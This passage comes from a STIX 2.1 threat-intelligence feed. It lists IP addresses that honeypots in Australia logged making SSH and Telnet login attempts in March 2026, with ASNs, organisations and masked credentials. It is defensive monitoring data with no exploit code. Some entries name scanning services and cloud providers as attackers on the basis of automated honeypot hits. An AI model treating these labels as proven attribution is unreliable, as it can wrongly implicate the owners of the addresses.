      "pattern": "[ipv4-addr:value = '61.245.10.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--8fe71d35-a2d0-4ae3-9b71-5dd12882cc63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.53.61.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24445. Organisation(s): Henan Mobile Communications Co.,Ltd.",
      "id": "indicator--d2ea4752-48e3-4c78-9114-29e84cbadfb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.216.64.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T16:15:15.000Z",
      "valid_until": "2026-04-12T16:15:11.000Z"
    },
    {
      "created": "2026-03-11T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--5e51027f-cc13-4eb8-8091-9c2b5d7a1b06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T16:15:15.000Z",
      "valid_until": "2026-04-12T16:15:11.000Z"
    },
    {
      "created": "2026-03-11T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 200651. Organisation(s): FlokiNET ehf. Usernames observed (masked): s****m. Passwords observed (masked): O************Z.",
      "id": "indicator--4367f8cc-845d-498e-a552-ceca80cf8725",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.246.188.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T16:15:15.000Z",
      "valid_until": "2026-04-12T16:15:11.000Z"
    },
    {
      "created": "2026-03-11T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--de2a2606-8343-45d7-b2d0-b1f4bfb03a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.218.203.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T16:15:15.000Z",
      "valid_until": "2026-04-12T16:15:11.000Z"
    },
    {
      "created": "2026-03-11T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u, ***, s****a. Passwords observed (masked): 1******8, ***, s****a, s**v.",
      "id": "indicator--4ba007b2-a5e7-422b-8640-f7ee48aee351",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.225.24.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T16:15:15.000Z",
      "valid_until": "2026-04-12T16:15:11.000Z"
    },
    {
      "created": "2026-03-11T17:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6702e520-46da-4193-9269-d321c2f1938f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T17:15:07.000Z",
      "valid_until": "2026-04-12T17:15:05.000Z"
    },
    {
      "created": "2026-03-11T17:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): c***o. Passwords observed (masked): A******3.",
      "id": "indicator--9945d4bf-dfa6-412f-9efd-db9ce01fcb68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.47.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T17:15:07.000Z",
      "valid_until": "2026-04-12T17:15:05.000Z"
    },
    {
      "created": "2026-03-11T17:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38731. Organisation(s): CHT Compamy Ltd. Usernames observed (masked): 3**********4, r**o, ***. Passwords observed (masked): 3**********4, r******4, v*****s.",
      "id": "indicator--b1da32ea-4e5e-4997-8384-7219ac4e5c57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.237.176.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T17:15:07.000Z",
      "valid_until": "2026-04-12T17:15:05.000Z"
    },
    {
      "created": "2026-03-11T17:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--1729efea-9110-4014-b214-d32b03e11334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T17:15:07.000Z",
      "valid_until": "2026-04-12T17:15:05.000Z"
    },
    {
      "created": "2026-03-11T17:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--53c64478-acab-4802-8d40-ac18f76c5ad5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.222.228.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T17:15:07.000Z",
      "valid_until": "2026-04-12T17:15:05.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 55862. Organisation(s): Wan & Lan Internet Pvt Ltd. Usernames observed (masked): o****e, r**t, e****t, e****r, g*****n. Passwords observed (masked): *, 1****6, e****t, g********3, h****p.",
      "id": "indicator--2014782c-4af0-407f-bb67-4645a3e2b62f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.24.63.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r. Passwords observed (masked): 1****6, P******d, a***n, a******3, a*******6.",
      "id": "indicator--d4084c9d-f4cb-428e-9ba4-8034c11d955d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.127.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--711539bf-e1b4-4f26-9d2a-8e1e59d6eebd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--3338227e-095c-4a91-a1f1-2a280a692126",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '18.188.53.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 8374. Organisation(s): Polkomtel Sp. z o.o..",
      "id": "indicator--21653637-c641-4f36-b0d0-6d8d594bc92d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.0.98.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--c2cc8ff6-773b-44f1-bd68-ac25d52cd10c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--afa1d2d7-9293-4b1e-9817-fc24ab01c33b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--730aa4cf-f192-4ca2-8f94-471b9e042018",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--05a8d02e-cd21-424d-abd0-574c1ba1f7ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T18:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--e26a2e53-1bbc-4d3b-a8b6-d570e3342d05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T18:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:15:02.000Z",
      "valid_until": "2026-04-12T18:15:01.000Z"
    },
    {
      "created": "2026-03-11T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 216071. Organisation(s): Servers Tech Fzco. Usernames observed (masked): f******d. Passwords observed (masked): ***.",
      "id": "indicator--472e0886-7c33-4585-ae1e-e8defe5978b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.107.166.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T19:15:13.000Z",
      "valid_until": "2026-04-12T19:15:12.000Z"
    },
    {
      "created": "2026-03-11T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--f3e99919-d1b8-41a0-86fd-b37b6a9f147d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.97.156.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T19:15:13.000Z",
      "valid_until": "2026-04-12T19:15:12.000Z"
    },
    {
      "created": "2026-03-11T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--f6567cdc-b313-4404-bf4c-f9ff07bf6c9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.7.1.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T19:15:13.000Z",
      "valid_until": "2026-04-12T19:15:12.000Z"
    },
    {
      "created": "2026-03-11T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--5de56cc2-4f06-4228-ac92-94d8366c007b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.37.133.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T19:15:13.000Z",
      "valid_until": "2026-04-12T19:15:12.000Z"
    },
    {
      "created": "2026-03-11T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH.",
      "id": "indicator--eb60e313-3a00-4fb1-a7db-97a27c8feb4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T19:15:13.000Z",
      "valid_until": "2026-04-12T19:15:12.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, a***a, d****s, ***, a*****r. Passwords observed (masked): ***, 3***********4, 3**********4, 1****6, 1******8.",
      "id": "indicator--48ef274f-50e1-4e9e-8c73-0f2d8390b010",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.67.78.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--9ae590ce-c85d-4359-96ba-a7a72f3cbf52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.37.30.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): r**t. Passwords observed (masked): A*******6, R********X.",
      "id": "indicator--43d01704-db98-4c6f-8fa8-b0ac0301efa4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.242.29.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--bfec7989-8e56-42e4-b3aa-b7dc58d476c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.140.161.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): e****n, 3**********4, a*****e, m***c, m**t. Passwords observed (masked): p******d, 1**4, 1***5, 3***********4, 3**********4.",
      "id": "indicator--8cfc24c6-c152-4814-b399-f1f166241eaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.10.160.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--21504122-28ce-4699-8c86-61d3168596e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--12f03950-dac7-4f2f-9aa4-967cf6da985a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 210022. Organisation(s): Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.. Usernames observed (masked): 3**********4, ***, w****n, c*****y, d***m. Passwords observed (masked): 1******8, 3***********4, 3**********4, p******d, 1**4.",
      "id": "indicator--bc8d9073-6156-460b-bd9b-2b243a782285",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.158.22.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--dee185cb-1ba3-4e6f-b7c6-f79ba4772131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
